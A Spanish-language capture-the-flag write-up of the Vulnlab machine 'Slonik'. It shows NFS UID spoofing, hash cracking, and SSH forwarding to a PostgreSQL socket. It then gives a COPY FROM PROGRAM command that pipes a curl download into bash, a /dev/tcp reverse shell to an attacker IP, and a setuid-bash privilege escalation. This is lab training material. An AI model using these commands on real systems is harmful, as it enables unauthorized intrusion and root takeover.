# Slonik – Writeup (Vulnlab)

## **NMAP**

Comenzamos el reconocimiento de servicios y puertos a través de **NMAP**

```bash
PORT      STATE SERVICE  VERSION
22/tcp    open  ssh      OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 2d:8d:0a:43:a7:58:20:73:6b:8c:fc:b0:d1:2f:45:07 (ECDSA)
|_  256 82:fb:90:b0:eb:ac:20:a2:53:5e:3c:7c:d3:3c:34:79 (ED25519)
111/tcp   open  rpcbind  2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100003  3,4         2049/tcp   nfs
|   100003  3,4         2049/tcp6  nfs
|   100005  1,2,3      43504/udp6  mountd
|   100005  1,2,3      47327/tcp   mountd
|   100005  1,2,3      50322/udp   mountd
|_  100005  1,2,3      50865/tcp6  mountd
2049/tcp  open  nfs      3-4 (RPC #100003)
32815/tcp open  status   1 (RPC #100024)
42617/tcp open  nlockmgr 1-4 (RPC #100021)
47327/tcp open  mountd   1-3 (RPC #100005)
56263/tcp open  mountd   1-3 (RPC #100005)
58429/tcp open  mountd   1-3 (RPC #100005)

Service Info: OS: Linux
```

## **Puerto 2049**

El puerto 2049 es conocido por ser utilizado por el servicio de **Network File System (NFS)**. NFS es un protocolo de sistema de archivos distribuido que facilita a los usuarios el acceso y la compartición de archivos entre diferentes sistemas dentro de una red. Este protocolo es especialmente útil en entornos donde se requiere un acceso compartido a archivos de manera eficiente.

Para obtener información sobre los recursos compartidos, podemos utilizar el comando **showmount**, que nos proporciona una lista de las exportaciones disponibles en el servidor NFS:

```bash
showmount -e 10.10.127.69
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753940051033/9be4e5b1-7bbb-4189-bd05-9373937dfa96.png align="left")

Observamos dos carpetas compartidas: */var/backups* y */home*. Procedemos a montarlas para explorar su contenido y buscar info valiosa:

```bash
sudo mount -t nfs 10.10.121.184: . -o nolock
```

Una vez montadas trato de enumerar y noto que para acceder a **/home/service/** no tengo los permisos suficientes, veo que puede hacerlo el usuario ***1337***, ya que es el owner, por ende procedo a crearlo localmente y le asigno el mismo UID.

```bash
sudo useradd -u 1337 1337 --badname
sudo passwd 1337
su 1337
```

Una vez soy 1337 voy a poder acceder a la carpeta **service**.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753940088933/97ece9c2-347b-445e-9f5a-c3f3c32cc257.png align="left")

Dentro de esta carpeta, encuentro varios archivos interesantes que podrían contener pistas sobre cómo proceder. El archivo **.bash\_history** revela comandos previamente ejecutados:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753940099017/c45008a2-420f-43d5-8df4-290abf917521.png align="left")

El archivo **.psql\_history** también proporciona información valiosa:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753940109946/7c962782-734c-43b1-b85c-5504fa9082d1.png align="center")

Destaca el usuario ***service*** y un hash *<mark>aaabf0d39951f3e6c3e8a7911df524c2</mark>*. Al verificar este hash en CrackStation, descubrimos que corresponde a la contraseña “**service**“.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753940133262/40c185db-4099-47c9-b84f-5702cc6388db.png align="center")

Intento iniciar sesión a través de **SSH** con las credenciales válidas, pero el sistema cierra la conexión automáticamente.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753940139790/fc1dc9c0-7789-48b5-9e1e-fa4a3894628e.png align="center")

Luego de un rato de seguir enumerando, chequeo la info que dan sobre el user al principio de la maquina:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753940148869/2f70f6ee-1a89-444e-85a8-51f9d454b6f0.png align="left")

Y luego de un poco de Googling, recuerdo que el **.bash\_history** nos mostraba la linea siguiente:

> file /var/run/postgresql/.s.PGSQL.5432

Este path específico es un archivo de socket Unix utilizado para la comunicación entre procesos del sistema, en este caso, entre aplicaciones y el servidor de la base de datos **PostgreSQL**.

Con esta información más clara, procedo a crear un **PortForwarding** con **SSH**, utilizando las credenciales que tenemos y configurando correctamente el socket remoto para conectarnos con el cliente PostgreSQL.

```bash
ssh -N -L /tmp/.s.PGSQL.5433:/var/run/postgresql/.s.PGSQL.5432 service@slonik.vl
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753940173269/1107d592-981e-41af-b58a-9618759ef57a.png align="center")

Luego, nos conectamos con **PostgreSQL**:

```bash
psql -h /tmp -U postgres -p 5433
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753940183975/c5695971-9649-4184-8cdb-6f8c2ca5bec6.png align="left")

## **PostgreSQL**

Con el comando **\\list**, puedo listar todas las bases de datos disponibles:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753940195499/9db43ff4-4bac-4696-b5e3-5385420f1adf.png align="center")

Después de verificar las bases de datos, noto que lo único que obtengo es el hash del usuario **service** que ya tenemos. Entonces, investigo si es posible crear una reverse shell como usuario postgres.

Verifico que tengo **Command Execution** y realizo lo siguiente para obtener una reverse shell:

```bash
#!/bin/bash
bash -i >& /dev/tcp/10.8.0.147/443 0>&1
```

## **Desde postgres cli:**

```sql
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'curl http://10.8.0.147/s | bash';
SELECT * FROM cmd_exec;
```

Finalmente obtengo revshell:

```sql
sudo rlwrap nc -lnvvp 443
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753940407549/3763e7c6-c05e-4925-8275-747500b56a87.png align="center")

Una vez que tengo la reverse shell, y después de enumerar un poco, establezco una conexión más estable con SSH y mantengo persistencia.

## **PSPY**

Procedo a subir el PSPY a **/tmp** y luego lo ejecuto para monitorear procesos en ejecución:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753940425304/bffb797b-195e-4e33-a74d-8046fdf0d19e.png align="center")

Observo que se ejecuta un archivo en **/usr/bin/backup** como **ROOT**. Al verificar el código, noto lo siguiente:

```bash
#!/bin/bash

date=$(/usr/bin/date +"%FT%H%M")
/usr/bin/rm -rf /opt/backups/current/*
/usr/bin/pg_basebackup -h /var/run/postgresql -U postgres -D /opt/backups/current/
/usr/bin/zip -r "/var/backups/archive-$date.zip" /opt/backups/current/

count=$(/usr/bin/find "/var/backups/" -maxdepth 1 -type f -o -type d | /usr/bin/wc -l)
if [ "$count" -gt 10 ]; then
  /usr/bin/rm -rf /var/backups/*
fi
```

> <mark>/usr/bin/zip -r "/var/backups/archive-$</mark>[<mark>date.zip</mark>](http://date.zip)<mark>" /opt/backups/current/</mark>

Lo interesante de este script es que todo lo que creemos dentro de este path */var/lib/postgresql/14/main* se hará backup en */opt/backups/current/* y será realizado por **ROOT**.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753940491383/def8ce67-f63f-4d2d-9b5e-fee08f06355b.png align="left")

## **Creando bash suid para Privilege Escalation**

```bash
cp /bin/bash pwn
chmod u+s pwn
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753940513115/367994e3-9b92-4e9b-9660-51f82326b997.png align="center")

Si ahora voy a */opt/backups/current*, vemos que lo backupea como **ROOT**:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753940519479/e0da7f9d-2978-4579-bf8c-a225f77b2636.png align="left")

Ahora solo resta rootear:

```bash
./pwn -p
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1753940531889/221bc0a1-eb09-4c18-b8a6-edcaa2f627b8.png align="center")

Pwned!